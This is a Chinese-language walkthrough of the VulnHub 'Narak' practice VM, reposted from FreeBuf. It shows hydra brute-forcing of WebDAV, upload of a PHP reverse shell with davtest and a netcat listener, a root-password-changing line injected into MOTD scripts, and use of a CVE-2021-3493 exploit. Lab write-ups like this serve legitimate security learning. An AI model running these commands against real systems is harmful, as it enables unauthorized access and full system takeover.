记一次narak靶场练习

admin 2022年4月28日09:16:26评论54 views字数 3661阅读12分12秒阅读模式
记一次narak靶场练习

前言

靶机:
https://download.vulnhub.com/ha/narak.ova
注释:使用vmwarworkstation运行虚拟机
难度:中+
目标:取得root权限+2Flag 网络配置:这里简单介绍下我的网络配置,靶机和Kali都用的VMware,然后使用nat连接,开启了dhcp。



0x00 环境配置

拟网络编辑器:

记一次narak靶场练习

Kali:

记一次narak靶场练习

靶机:

记一次narak靶场练习
试试hash算法,命中了md5。



0x01 主机发现/端口扫描

首先使用下面这条命令来发现靶机的ip地址为192.168.26.131
arp-scan -l
记一次narak靶场练习
然后开始使用nmap进行端口和服务的发现
nmap  -sV -sC -p-   192.168.26.131
记一次narak靶场练习
经过对开放端口和服务的扫描,发现只开放了22端口和80端口,访问80端口也没发现什么可以测试的点,于是开始使用dirsearch进行目录的扫描。



0x02 信息收集

后面刚准备套娃上xray,结果命令行异常弹刀怀疑人生。

dirsearch --url http://192.168.26.131

记一次narak靶场练习

经过目录扫描,发现了webdav的路径,访问了一波,发现需要登录,这里简单讲一下什么是webdav:

记一次narak靶场练习

记一次narak靶场练习



0x03 密码字典定制

在我进行了多次简单的弱口令尝试后发现不行,于是开始使用kali自带的字典进行暴力破解,但是跑了很久失败了,所以我打算使用kali自带的字典生成工具cewl生成一个针对这个网站专属的字典进行测试一波。

cewl http://192.168.26.131  -w 192.168.26.131dict.txt
记一次narak靶场练习



0x04 hydra密码爆破

hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

记一次narak靶场练习

成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。


0x05 webdav漏洞

davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

记一次narak靶场练习

通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。

cp /usr/share/webshells/php/php-reverse-shell.php .         #将kali自带反弹shell文件拷贝到当前目录vim php-reverse-shell.php                                   #编辑这个文件,将ip改为kali的ip 端口改为kali的端口

记一次narak靶场练习

davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php  -uploadloc rev.php

记一次narak靶场练习

通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。

nc -lnvp 4444         #kali监听4444端口http://192.168.26.131/webdav/rev.php         #访问该链接触发执行反弹shell的代码
记一次narak靶场练习
python3 -c "import pty;pty.spawn('/bin/bash')"           #升级优化一下shell


0x06 MOTD注入提权

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null
#命令解释:从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null

记一次narak靶场练习

先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。

记一次narak靶场练习

在线解密网站:http://bf.doleczek.pl/

记一次narak靶场练习

chitragupt
解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd文件发现的用户,挨个尝试下。

记一次narak靶场练习

当我尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。

记一次narak靶场练习

然后我们在inferno用户的家目录下发现了第一个flag。

记一次narak靶场练习

既然已经获取到了inferno用户的密码,我接下来尝试使用ssh登录到inferno用户上。

ssh inferno@192.168.26.131

成功登录到inferno用户后再次执行下面这条命令:

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null

记一次narak靶场练习

我观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

记一次narak靶场练习

那么现在我们知道了,当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权,思路有了下面开始操作。

vi /etc/update-motd.d/00-header      #编辑这个文件echo 'root:123' | chpasswd        #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123

记一次narak靶场练习

然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。

记一次narak靶场练习

当我们看到登录成功后的欢迎语的时候,root用户的密码已经成功的被我们修改成了123。

接着只需要su到root用户即可提权成功。

记一次narak靶场练习



0x07 CVE-2021-3493提权

记一次narak靶场练习

在ssh成功登录后的欢迎语中,知道了靶机的版本是Ubuntu18.04,对于该版本我比较熟悉,之前用过该版本的提权漏洞,所以这里不过多赘述。先将exp下载到kali本地。

记一次narak靶场练习

scp exploit.c  inferno@192.168.26.131:/home/inferno       #将exp上传到靶机

记一次narak靶场练习

gcc exploit.c  -o exploit            #尝试编译exploit.c 并将编译好的文件命名为exploit

记一次narak靶场练习

发现靶机上无法运行gcc,那么我们就在kali上先编译好,然后再传到靶机上即可。

记一次narak靶场练习

chmod +x exploit      #给exploit赋予执行权限./exploit             #执行exp

记一次narak靶场练习

可以看到通过CVE-2021-3493同样获取到了root权限

记一次narak靶场练习



0x08 总结

在这次靶机的渗透过程中,先是通过目录扫描发现了webdav服务登录的页面,通过cewl生成的专属字典配合hydra拿到了webdav服务的账号密码,然后借助了kali自带的webdav利用工具davtest上传了反弹shell的脚本,成功getshell突破了边界,之后通过MOTD提权获取到了root权限,然后又尝试了第二种提权方法,通过CVE-2021-3493也成功拿到了root权限,总体来讲打这台靶机还是收获了很多姿势,这台靶机比较有特色,用到的提权手法也与之前的靶机都有所不同,感兴趣的师傅们可以下载到本地玩玩。

参考资料:https://baike.baidu.com/item/WebDAV/4610909?fr=aladdinhttp://bf.doleczek.pl/https://github.com/briskets/CVE-2021-3493https://www.cnblogs.com/gageshen/p/11565980.html

作者:南城夕雾,文章转载于FreeBuf.COM。

记一次narak靶场练习

• 往期精选

记一次narak靶场练习
记一次narak靶场练习

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

记一次narak靶场练习

下方点击关注发现更多精彩!

原文始发于微信公众号(银河护卫队super):记一次narak靶场练习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月28日09:16:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次narak靶场练习https://cn-sec.com/archives/951570.html

发表评论

匿名网友 填写信息